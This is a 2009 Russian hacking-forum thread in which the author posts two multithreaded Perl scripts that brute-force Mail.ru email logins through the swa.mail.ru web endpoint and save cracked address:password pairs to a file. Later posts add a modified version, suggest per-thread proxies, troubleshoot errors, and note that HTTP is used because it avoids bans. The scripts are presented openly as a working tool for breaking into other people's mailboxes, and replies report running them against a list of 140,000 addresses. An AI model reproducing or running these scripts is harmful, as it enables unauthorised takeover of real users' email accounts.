Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   [PERL]Multithread Mail.ru bruteforce by Sharky (https://forum.antichat.xyz/showthread.php?t=107267)

Sharky 21.02.2009 01:16

[PERL]Multithread Mail.ru bruteforce by Sharky
 
Многопоточный Брутфорс Mail.ru by Sharky


Описание:

[!]Брутит на один пароль по списку мыл ( можно и переделать :) ) через swa.mail.ru
[!]Многопоточнсть
[!]Высокая скорость брута (сам разгонял до 170 pps :))
[!]Не требуются прокси


Редактируем в коде под себя:
Код:

########################################################
$emails  = 'mail.txt';    #Файл с мылами
$good    = 'good.txt';    #Файл с прочеканными гуд акками
$password = '111111';      #Пароль на который брутить
########################################################
$threads = '20';          #Количество потоков
$timeout = '5';            #Таймаут
########################################################


Source:

Лист мыл на один пароль:
PHP код:

#!/usr/bin/perl

use IO::Socket;
use 
threads;
use 
threads::shared;
########################################################
my @acc shared;
my $i shared;
my $g shared;
my $total shared;
########################################################
$emails   'mail.txt';    #Файл с мылами
$good     'good.txt';    #Файл с прочеканными гуд акками
$password '111111';      #Пароль на который брутить
########################################################
$threads '20';          #Количество потоков
$timeout '5';            #Таймаут
########################################################
$hostname "swa.mail.ru";
$port     '80';
$path     "/cgi-bin/auth";

########################################################
openACS"<$emails);
@
acc  acc();
$size scalar @acc;

threads();

sub threads {
    
$g 0;
    for ( 
.. $threads ) { $trl[$_] = threads->create( \&check$_ ); }
    for (@
trl) { $_->join; }
    print 
"Good: $g ";
}

sub check {
    while (@
acc) {
        { 
lock(@acc); $acc shift @acc; }
        
my $mail$server ) = split( /@/, $acc );

        
$nn "\r\n";

        
my $sock = new IO::Socket::INET(
            
PeerAddr  => $hostname,
            
PeerPort  => $port,
            
PeerProto => 'tcp',
            
TimeOut   => $timeout
        
);
        if ( !
$sock ) {
            { 
lock($i); $i++; }
        }
        else {
            
my $data =
              
"action1=Login&Login=$mail&Domain=$server&Password=$password";
            
my $re =
                
"POST /cgi-bin/auth HTTP/1.0" 
              
$nn
              
"Host: swa.mail.ru"
              
$nn
              
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
              
$nn
              
"Content-type: application/x-www-form-urlencoded"
              
$nn
              
"Cache-Control: no-cache"
              
$nn
              
"Content-length: "
              
length($data)
              . 
$nn
              
"Connection: Keep-Alive"
              
$nn
              
$nn;
            print 
$sock $re;
            print 
$sock $data;
            
sysread$sockmy $answ666 );
            
close $sock;

            if ( 
$answ =~ /Location/ ) {
                { 
lock($total); $total++; }
                print 
"$mail - [OK]\n";
                
openFILE">>$good);
                print 
FILE "$acc:$password\n";
                
close(FILE);
                
$g++;
            }

            { 
lock($i); $i++; }
            
$percent = ( $i $size ) * 100;
            
$percent sprintf"%.0f"$percent );
            print 
"$percent%" $nn;
        }
    }
}

sub acc {
    
my (@mas);
    while (<
ACS>) {
        
push @mas$_;
    }
    
chomp @mas;
    return @
mas;
}
#with love by Sharky 

Одно мыло на лист паролей:

PHP код:

 #!/usr/bin/perl 

use IO::Socket
use 
threads
use 
threads::shared
##################################################  ###### 
my @acc shared
my $i shared
my $g shared
my $total shared
$| = 
1;

print 
"
###################################################################
###                 Sharky Mail.ru brute                        ###
### Usage mail.pl [email] [passwords.txt] [good.txt] [threads]  ###
###################################################################
"
;
##################################################  ###### 
$email   shift;
$pass shift;
$good     shift;

##################################################  ###### 
$threads shift;
$timeout '5';            #Таймаут 
##################################################  ###### 
$hostname "swa.mail.ru"
$port     '80'

##################################################  ###### 
print "[+] Loading passwords... \n";
openACS"<$pass);
@
acc  acc(); 
$size scalar @acc
print 
"[+] Loaded $size passwords \n";

threads(); 

sub threads 
print 
"[+] Start Brute\n\n";
    for ( 
.. $threads ) { $trl[$_] = threads->create( &check$_ ); } 
    for (@
trl) { $_->join; }  


sub check 
    while (@
acc) { 
        { 
lock(@acc); $passw shift @acc; } 
        
my $mail$server ) = split( /@/, $email );  

        
$nn "\r\n"

        
my $sock = new IO::Socket::INET
            
PeerAddr  => $hostname
            
PeerPort  => $port
            
PeerProto => 'tcp'
            
TimeOut   => $timeout 
        
); 
        if ( !
$sock ) { 
            { 
lock($i); $i++; } 
        } 
        else { 
            
my $data 
              
"action1=Login&Login=$mail&Domain=$server&Password=$passw"
            
my $re 
                
"POST /cgi-bin/auth HTTP/1.0"  
              
$nn 
              
"Host: swa.mail.ru" 
              
$nn 
              
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7" 
              
$nn 
              
"Content-type: application/x-www-form-urlencoded" 
              
$nn 
              
"Cache-Control: no-cache" 
              
$nn 
              
"Content-length: " 
              
length($data
              . 
$nn 
              
"Connection: Keep-Alive" 
              
$nn 
              
$nn
            print 
$sock $re
            print 
$sock $data
            
sysread$sockmy $answ666 ); 
            
close $sock

            if ( 
$answ =~ /Location/ ) { 
                { 
lock($total); $total++; } 
                print 
"$email:$passw - [OK]\n"
                
openFILE">>$good); 
                print 
FILE "$acc:$password\n"
                
close(FILE); 
                exit;
            } 

            { 
lock($i); $i++; } 
        } 
        
$percent = ( $i $size ) * 100
            
$percent sprintf"%.0f"$percent ); 
            print 
"[%]$percent%\r"
    } 


sub acc 
    
my (@mas); 
    while (<
ACS>) { 
        
push @mas$_
    } 
    
chomp @mas
    return @
mas

#with love by Sharky 

Использование одномыльного :
Код:

###################################################################
###                Sharky Mail.ru brute                        ###
### Usage mail.pl [email] [passwords.txt] [good.txt] [threads]  ###
###################################################################

Либо скачать архивом:
Rapidshare.com
Webfile.ru
Dump.ru

Fess59 21.02.2009 01:23

тестил... база мыл 140к. работает стабильно, только много процентов :) ну очень много))

N19hTW0lF 21.02.2009 12:49

Брутом не занимаюсь.Ну уважаю чела и его работы.+++
(потестил бы ,но перла нету)

Romaxa55 21.02.2009 14:35

Молодец, хороший брутик, ++++++

BuG_4F 21.02.2009 15:31

Отлично !!! Многопоточность на красоту :)

Sharky 03.03.2009 13:29

по просьбам трудящихся добавил ещё один для брута одного мыла по словарю паролей

не стал их объединять ибо просто влом

ps Я ВСЕМИРНЫЙ ОБЛОМЩИК ТОРГАШЕЙ

rcc0023 03.03.2009 15:41

Цитата:

Сообщение от Sharky
первая версия давно тут лежит :) вторую написал по просьбам в аську

А что включает 2я версия?

rcc0023 03.03.2009 15:51

Don1=2, ну так я разве не прав!??!.. Sharky очень хорошо написал.. и очень хорошо поступил...

Sharky 03.03.2009 18:50

Цитата:

Сообщение от rcc0023
А что включает 2я версия?

1 - брут списка мыл по одному паролю
2 - брут одного мыла по списку паролей

Gaus 03.03.2009 19:27

Ща буду тестить

Timur111 06.03.2009 10:36

как правильно настроить брут по списку паролей на один E-mail?
Настраивал вроде верно но выбивает сразу после запуска..
Кто поможет,в асю стучите-413190144
заплачу 1$ кто поможет разобраться)

Sharky 06.03.2009 10:48

### Usage mail.pl [email] [passwords.txt] [good.txt] [threads] ###

B1t.exe 08.03.2009 18:28

Цитата:

C:\brute>mail.pl

################################################## #################
### Sharky Mail.ru brute ###
### Usage mail.pl [email] [passwords.txt] [good.txt] [threads] ###
################################################## #################
[+] Loading passwords...
[+] Loaded 0 passwords
[+] Start Brute

Thread 1 terminated abnormally: Undefined subroutine &main::0 called at C:\brute
\mail.pl line 42.

C:\brute>
в чем проблема ? не могу понять !
переименовал файл pass на passwords, ну все равно такая ошибля.

RegStuff 09.03.2009 18:04

Шарке, я вот включил:
Код:

use warnings;
use diagnostics;

и у меня твой релизенг не запустился :(

De-visible 09.03.2009 21:29

Ну по сравнению с реализацией логина, этот брут просто отстой.

nerezus 10.03.2009 00:27

Цитата:

Шарке, я вот включил:
use warnings;
use diagnostics;
и у меня твой релизенг не запустился
"Вот я твой код поменял, а он работать перестал. " ггг )))

Кто будет наезжать на остальных - побаню.

B1t.exe 10.03.2009 12:12

а на мой вопрос пока нет решений ?

Tombik 15.04.2009 22:26

ребят, разберитесь кто-то, со второй частью скрипта "Одно мыло на лист паролей".... у ТС нет времени на это.

ghostwizard 16.04.2009 05:00

Модифицированная версия.
Изменено:
1. Нет ошибки неправильного завершения нити.
2. Вместо процентов теперь плюсики в одну строку. Количество их можно изменить.

Пользуйтесь. Неплохой брут. Как раз узнал про реальное использование нитей в перле.

З.Ы. Форматирование кода ужасное в ачат-редакторе =Q

Есть вариант добавить прокси-поддержку распределенную по нитям. Т.е для каждой нити свой прокси или рандомный по списку, сколько фантазии хватит :)

Код:

#!/usr/bin/perl -w   

use strict;   
use IO::Socket; 
use threads qw(stringify);
use threads::shared; 
use POSIX;  ########################################################   
my @acc : shared; 
my $i : shared; 
my $total : shared; 
my $k : shared;
$| = 1;
print "
###################################################################### 
###                Sharky Mail.ru brute                          ### 
### Usage mail.pl [email] [passwords.txt] [good.txt] [threads]    ###
### edited by gh0stwizard                                        ### 
###################################################################### 
";
######################################################## 
my $email = shift; 
my $pass =  shift; 
my $good =  shift; 
my $threads = shift; 
my $timeout = '5';            #Таймаут 
my $hostname = "swa.mail.ru";   
my $port    = '80'; 
my ( $mail, $server ) = split( /@/, $email );   
my $nn = "\r\n"; 
my $maxplus = 62;    #Количество выводимых плюсов 
######################################################## 
my ($passw, $percent);   
########################################################   
print "[+] Loading passwords... \n"; 
open( ACS, "<$pass" ); 
@acc  = &acc();   
my $size = scalar @acc;   
print "[+] Loaded $size passwords \n"; 
print "[+] Start Brute\n\n[";   

my (@trl);   
&threads(); 

sub threads {     
 for ( 0 .. $threads )  {         
  $trl[$_] = threads->create( {'void' => 1}, \&check, $_ );         
  $trl[$_]->join();     
  }     
 print "\n[*] Bruteforce has been completed.\n"; 


sub check {       
  while (@acc) {           
    { lock(@acc); $passw = shift @acc; }
    my $sock = new IO::Socket::INET(
                PeerAddr  => $hostname,
                PeerPort  => $port,
                PeerProto => 'tcp',
                TimeOut  => $timeout
            );
            if ( !$sock ) {
              { lock($i); $i++; }
            }
            else {
                my $data =
                  "action1=Login&Login=$mail&Domain=$server&Password=$passw";
                my $re =
                  "POST /cgi-bin/auth HTTP/1.0"
                  . $nn
                  . "Host: swa.mail.ru"
                  . $nn
                  . "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
                  . $nn
                  . "Content-type: application/x-www-form-urlencoded"
                  . $nn
                  . "Cache-Control: no-cache"
                  . $nn
                  . "Content-length: "
                  . length($data)
                  . $nn
                  . "Connection: Keep-Alive"
                  . $nn
                  . $nn;
                print $sock $re;
                print $sock $data;
                sysread( $sock, my $answ, 666 );
                close $sock;
                  if ( $answ =~ /Location/ ) {
                    { lock($total); $total++; }
                  print "]\n[*] $email:$passw - [OK]";
                    open( FILE, ">>$good" );
                    print FILE "$email:$passw\n";
                    close(FILE);
                  print "\n[*] Bruteforce has been completed.\n";
                  exit;
              }
                  { lock($i); $i++; }
          }
          $percent = sprintf("%.6f", ( $i / $size )) * $maxplus;
          my $sh = sprintf("%.6f", (1 / $size)) * $maxplus;
          my $zer = sprintf("%.6f", (1 / $size));
                  if (($percent == $sh) or ($percent == $zer)) {
              print "+"; $k++;
          }
          elsif ( (floor($percent) - 1) == $k ) {
              print "+"; $k++;
          }
          elsif ((floor($percent) -$k) >=2 and ($maxplus>20)) {
              my $def = (floor($percent)) - $k;
              $k += $def;
              print "+"x$def;
          }
          if ($percent == $maxplus) { print "] 100%\r"; }
      }
}

sub acc {
        my (@mas);
        while (<ACS>) {
          push @mas, $_;
        }
        chomp @mas;
        return @mas;
    }
#with love by Sharky


Tombik 16.04.2009 17:48

ghostwizard, мои слабые познания, не позволяют разобраться в чём ошибка )))), но явно, чё-то не то...

ghostwizard 17.04.2009 16:58

Цитата:

Сообщение от Tombik
ghostwizard, мои слабые познания, не позволяют разобраться в чём ошибка )))), но явно, чё-то не то...

Тестил копипастом своего поста на activestate perl 5.10.0 в стандартной сборке. Одно условие passwords.txt должен быть не пустым, проверка на него остутствует. Для никсов перл обычно собирается без поддержки threads это надо учитывать. Т.е если у вас нет поддержки threads нужно perl пересобрать или установить готовый пакет с поддержкой.

А вообще выкладывайте набранную команду и вывод ошибок. Телепаты в отпуске.

Tombik 18.04.2009 10:37

короче, типа вот такой хрени выскакивает:

Код:

Possible unintended interpolation of @mail in string at C:\mail.pl line 13.
Global symbol "@mail" requires explicit package name at C:\mail.pl line 13.
Execution of C:\mail.pl aborted due to compilation errors.


.:EnoT:. 18.04.2009 17:24

Sharky, ты конечно извини, но я хоть убей не могу понять, зачем делать брут мыла через http...существуют ведь мыльные протоколы SMTP, POP3.....IMAP в конце-концов.
И кода будет меньше, и меньший объём обрабатываемых данных...успешность авторизации смотреть будешь по коду ответа, а не по ключевым словам )

Kaimi 18.04.2009 17:25

Цитата:

зачем делать брут мыла через http.
Наверное дело в отсутствии бана через хттп

.:EnoT:. 18.04.2009 17:27

Цитата:

Сообщение от Kaimi
Наверное дело в отсутствии бана через хттп

Через SMTP к примеру я ни разу бана не наблюдал

Sharky 18.04.2009 19:38

Цитата:

Сообщение от .:EnoT:.
Sharky, ты конечно извини, но я хоть убей не могу понять, зачем делать брут мыла через http...существуют ведь мыльные протоколы SMTP, POP3.....IMAP в конце-концов.
И кода будет меньше, и меньший объём обрабатываемых данных...успешность авторизации смотреть будешь по коду ответа, а не по ключевым словам )

1) нет бана
2) на самом деле быстрее работает

BoBka 38_RuS 27.09.2009 12:13

Обновите ссылки на первом посте этой теме, пожалуйста. Или дайте новые..

Sharky 27.09.2009 13:11

Цитата:

Сообщение от BoBka 38_RuS
Обновите ссылки на первом посте этой теме, пожалуйста. Или дайте новые..

1)доброе утро) брут уже не актуален
2) интересно зачем в первом посте выложен сорец
3) ссылка на дамп ещё актуальна...каким же надо быть ленивым чтоб не протыкать все ТРИ ссылки

BoBka 38_RuS 27.09.2009 14:13

Доброе! Спс, что ответили оперативно =)
Попробовал 2-ой раз (как и 1-ий раз, до просьбы обн.ссылок), на "дампе" ссылка не работает пишет "Ошибка: Запрошенный файл не обнаружен". Да он предлагает скачать, но потом эта же ошибка, что описана выше.


Время: 08:44